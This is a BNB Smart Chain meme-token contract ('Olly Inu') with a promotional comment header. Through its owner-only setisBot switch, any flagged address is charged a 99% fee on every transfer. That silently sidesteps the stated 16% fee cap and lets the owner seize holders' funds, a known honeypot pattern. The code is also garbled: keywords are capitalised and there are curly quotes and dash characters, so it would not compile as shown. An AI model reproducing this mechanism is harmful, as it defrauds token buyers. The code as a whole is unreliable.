/\*\*

\*Submitted for verification at BscScan.com on 2023-05-07

\*/

/\*\*

👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨

Hey $OGGY ♥️ @Oggy\_Inu

Its Olivia here, Just wanted to say I love you !

Soon I will be meeting you upon the Binance Smart Chain. Oh how i’ve missed you.

<https://t.me/OllyInu>

<https://www.ollyinu.com/>

<https://twitter.com/ollyinu>

👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨👩‍❤️‍💋‍👨

\*/

// SPDX-License-Identifier: MIT

Pragma solidity 0.8.19;

Library SafeMath {

Function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}

Function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a – b;}

Function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a \* b;}

Function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}

Function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}

Function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {

Unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

Function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {

Unchecked {if(b > a) return(false, 0); return(true, a – b);}}

Function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {

Unchecked {if (a == 0) return(true, 0); uint256 c = a \* b;

If(c / a != b) return(false, 0); return(true, c);}}

Function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {

Unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

Function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {

Unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

Function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {

Unchecked{require(b <= a, errorMessage); return a – b;}}

Function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {

Unchecked{require(b > 0, errorMessage); return a / b;}}

Function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {

Unchecked{require(b > 0, errorMessage); return a % b;}}}

Interface IERC20 {

Function totalSupply() external view returns (uint256);

Function decimals() external view returns (uint8);

Function symbol() external view returns (string memory);

Function name() external view returns (string memory);

Function getOwner() external view returns (address);

Function balanceOf(address account) external view returns (uint256);

Function transfer(address recipient, uint256 amount) external returns (bool);

Function allowance(address \_owner, address spender) external view returns (uint256);

Function approve(address spender, uint256 amount) external returns (bool);

Function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

Event Transfer(address indexed from, address indexed to, uint256 value);

Event Approval(address indexed owner, address indexed spender, uint256 value);}

Abstract contract Ownable {

Address internal owner;

Constructor(address \_owner) {owner = \_owner;}

Modifier onlyOwner() {require(isOwner(msg.sender), “!OWNER”); \_;}

Function isOwner(address account) public view returns (bool) {return account == owner;}

Function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}

Event OwnershipTransferred(address owner);

}

Interface IFactory{

Function createPair(address tokenA, address tokenB) external returns (address pair);

Function getPair(address tokenA, address tokenB) external view returns (address pair);

}

Interface IRouter {

Function factory() external pure returns (address);

Function WETH() external pure returns (address);

Function addLiquidityETH(

Address token,

Uint amountTokenDesired,

Uint amountTokenMin,

Uint amountETHMin,

Address to,

Uint deadline

) external payable returns (uint amountToken, uint amountETH, uint liquidity);

Function removeLiquidityWithPermit(

Address tokenA,

Address tokenB,

Uint liquidity,

Uint amountAMin,

Uint amountBMin,

Address to,

Uint deadline,

Bool approveMax, uint8 v, bytes32 r, bytes32 s

) external returns (uint amountA, uint amountB);

Function swapExactETHForTokensSupportingFeeOnTransferTokens(

Uint amountOutMin,

Address[] calldata path,

Address to,

Uint deadline

) external payable;

Function swapExactTokensForETHSupportingFeeOnTransferTokens(

Uint amountIn,

Uint amountOutMin,

Address[] calldata path,

Address to,

Uint deadline) external;

}

Contract OllyInu is IERC20, Ownable {

Using SafeMath for uint256;

String private constant \_name = ‘Olly Inu’;

String private constant \_symbol = ‘Olly’;

Uint8 private constant \_decimals = 9;

Uint256 private \_totalSupply = 1000000000000 \* (10 \*\* \_decimals);

Uint256 private \_maxTxAmountPercent = 200; // 10000;

Uint256 private \_maxTransferPercent = 100;

Uint256 private \_maxWalletPercent = 200;

Mapping (address => uint256) \_balances;

Mapping (address => mapping (address => uint256)) private \_allowances;

Mapping (address => bool) public isFeeExempt;

Mapping (address => bool) private isBot;

IRouter router;

Address public pair;

Bool private tradingAllowed = false;

Uint256 private liquidityFee = 100;

Uint256 private marketingFee = 500;

Uint256 private developmentFee = 200;

Uint256 private burnFee = 0;

Uint256 private totalFee = 800;

Uint256 private sellFee = 800;

Uint256 private transferFee = 300;

Uint256 private denominator = 10000;

Bool private swapEnabled = true;

Uint256 private swapTimes;

Bool private swapping;

Uint256 private swapThreshold = ( \_totalSupply \* 250 ) / 100000;

Uint256 private \_minTokenAmount = ( \_totalSupply \* 10 ) / 100000;

Modifier lockTheSwap {swapping = true; \_; swapping = false;}

Address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;

Address internal constant development\_receiver = 0x8f43986cf5bCFc0d653C57208E91628ec493373A;

Address internal constant marketing\_receiver = 0x74CD090747689B58C3D4Da0781923dFDf23fEc37;

Address internal constant liquidity\_receiver = 0x8f43986cf5bCFc0d653C57208E91628ec493373A;

Constructor() Ownable(msg.sender) {

IRouter \_router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);

Address \_pair = IFactory(\_router.factory()).createPair(address(this), \_router.WETH());

Router = \_router;

Pair = \_pair;

isFeeExempt[address(this)] = true;

isFeeExempt[liquidity\_receiver] = true;

isFeeExempt[marketing\_receiver] = true;

isFeeExempt[msg.sender] = true;

\_balances[msg.sender] = \_totalSupply;

Emit Transfer(address(0), msg.sender, \_totalSupply);

}

Receive() external payable {}

Function name() public pure returns (string memory) {return \_name;}

Function symbol() public pure returns (string memory) {return \_symbol;}

Function decimals() public pure returns (uint8) {return \_decimals;}

Function startTrading() external onlyOwner {tradingAllowed = true;}

Function getOwner() external view override returns (address) { return owner; }

Function balanceOf(address account) public view override returns (uint256) {return \_balances[account];}

Function transfer(address recipient, uint256 amount) public override returns (bool) {\_transfer(msg.sender, recipient, amount);return true;}

Function allowance(address owner, address spender) public view override returns (uint256) {return \_allowances[owner][spender];}

Function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }

Function setisBot(address \_address, bool \_enabled) external onlyOwner {isBot[\_address] = \_enabled;}

Function setisExempt(address \_address, bool \_enabled) external onlyOwner {isFeeExempt[\_address] = \_enabled;}

Function approve(address spender, uint256 amount) public override returns (bool) {\_approve(msg.sender, spender, amount);return true;}

Function totalSupply() public view override returns (uint256) {return \_totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

Function \_maxWalletToken() public view returns (uint256) {return totalSupply() \* \_maxWalletPercent / denominator;}

Function \_maxTxAmount() public view returns (uint256) {return totalSupply() \* \_maxTxAmountPercent / denominator;}

Function \_maxTransferAmount() public view returns (uint256) {return totalSupply() \* \_maxTransferPercent / denominator;}

Function preTxCheck(address sender, address recipient, uint256 amount) internal view {

Require(sender != address(0), “ERC20: transfer from the zero address”);

Require(recipient != address(0), “ERC20: transfer to the zero address”);

Require(amount > uint256(0), “Transfer amount must be greater than zero”);

Require(amount <= balanceOf(sender),”You are trying to transfer more than your balance”);

}

Function \_transfer(address sender, address recipient, uint256 amount) private {

preTxCheck(sender, recipient, amount);

checkTradingAllowed(sender, recipient);

checkMaxWallet(sender, recipient, amount);

swapbackCounters(sender, recipient);

checkTxLimit(sender, recipient, amount);

swapBack(sender, recipient, amount);

\_balances[sender] = \_balances[sender].sub(amount);

Uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;

\_balances[recipient] = \_balances[recipient].add(amountReceived);

Emit Transfer(sender, recipient, amountReceived);

}

Function setStructure(uint256 \_liquidity, uint256 \_marketing, uint256 \_burn, uint256 \_development, uint256 \_total, uint256 \_sell, uint256 \_trans) external onlyOwner {

liquidityFee = \_liquidity;

marketingFee = \_marketing;

burnFee = \_burn;

developmentFee = \_development;

totalFee = \_total;

sellFee = \_sell;

transferFee = \_trans;

require(totalFee <= denominator.div(6) && sellFee <= denominator.div(6), “totalFee and sellFee cannot be more than 16%”);

}

Function setParameters(uint256 \_buy, uint256 \_trans, uint256 \_wallet) external onlyOwner {

Uint256 newTx = (totalSupply() \* \_buy) / 20000;

Uint256 newTransfer = (totalSupply() \* \_trans) / 10000;

Uint256 newWallet = (totalSupply() \* \_wallet) / 30000;

\_maxTxAmountPercent = \_buy;

\_maxTransferPercent = \_trans;

\_maxWalletPercent = \_wallet;

Uint256 limit = totalSupply().mul(5).div(1000);

Require(newTx >= limit && newTransfer >= limit && newWallet >= limit, “Max TXs and Max Wallet cannot be less than .5%”);

}

Function checkTradingAllowed(address sender, address recipient) internal view {

If(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, “tradingAllowed”);}

}

Function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {

If(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){

Require((\_balances[recipient].add(amount)) <= \_maxWalletToken(), “Exceeds maximum wallet amount.”);}

}

Function swapbackCounters(address sender, address recipient) internal {

If(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}

}

Function checkTxLimit(address sender, address recipient, uint256 amount) internal view {

If(sender != pair){require(amount <= \_maxTransferAmount() || isFeeExempt[sender] || isFeeExempt[recipient], “TX Limit Exceeded”);}

Require(amount <= \_maxTxAmount() || isFeeExempt[sender] || isFeeExempt[recipient], “TX Limit Exceeded”);

}

Function swapAndLiquify(uint256 tokens) private lockTheSwap {

Uint256 \_denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);

Uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(\_denominator);

Uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);

Uint256 initialBalance = address(this).balance;

swapTokensForETH(toSwap);

uint256 deltaBalance = address(this).balance.sub(initialBalance);

uint256 unitBalance= deltaBalance.div(\_denominator.sub(liquidityFee));

uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);

if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }

uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);

if(marketingAmt > 0){payable(marketing\_receiver).transfer(marketingAmt);}

uint256 remainingBalance = address(this).balance;

if(remainingBalance > uint256(0)){payable(development\_receiver).transfer(remainingBalance);}

}

Function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {

\_approve(address(this), address(router), tokenAmount);

Router.addLiquidityETH{value: ETHAmount}(

Address(this),

tokenAmount,

0,

0,

Liquidity\_receiver,

Block.timestamp);

}

Function swapTokensForETH(uint256 tokenAmount) private {

Address[] memory path = new address[](2);

Path[0] = address(this);

Path[1] = router.WETH();

\_approve(address(this), address(router), tokenAmount);

Router.swapExactTokensForETHSupportingFeeOnTransferTokens(

tokenAmount,

0,

Path,

Address(this),

Block.timestamp);

}

Function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {

Bool aboveMin = amount >= \_minTokenAmount;

Bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;

Return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= uint256(1) && aboveThreshold;

}

Function swapBack(address sender, address recipient, uint256 amount) internal {

If(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}

}

Function shouldTakeFee(address sender, address recipient) internal view returns (bool) {

Return !isFeeExempt[sender] && !isFeeExempt[recipient];

}

Function getTotalFee(address sender, address recipient) internal view returns (uint256) {

If(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));}

If(recipient == pair){return sellFee;}

If(sender == pair){return totalFee;}

Return transferFee;

}

Function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

If(getTotalFee(sender, recipient) > 0){

Uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));

\_balances[address(this)] = \_balances[address(this)].add(feeAmount);

Emit Transfer(sender, address(this), feeAmount);

If(burnFee > uint256(0)){\_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}

Return amount.sub(feeAmount);} return amount;

}

Function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {

\_transfer(sender, recipient, amount);

\_approve(sender, msg.sender, \_allowances[sender][msg.sender].sub(amount, “ERC20: transfer amount exceeds allowance”));

Return true;

}

Function \_approve(address owner, address spender, uint256 amount) private {

Require(owner != address(0), “ERC20: approve from the zero address”);

Require(spender != address(0), “ERC20: approve to the zero address”);

\_allowances[owner][spender] = amount;

Emit Approval(owner, spender, amount);

}

}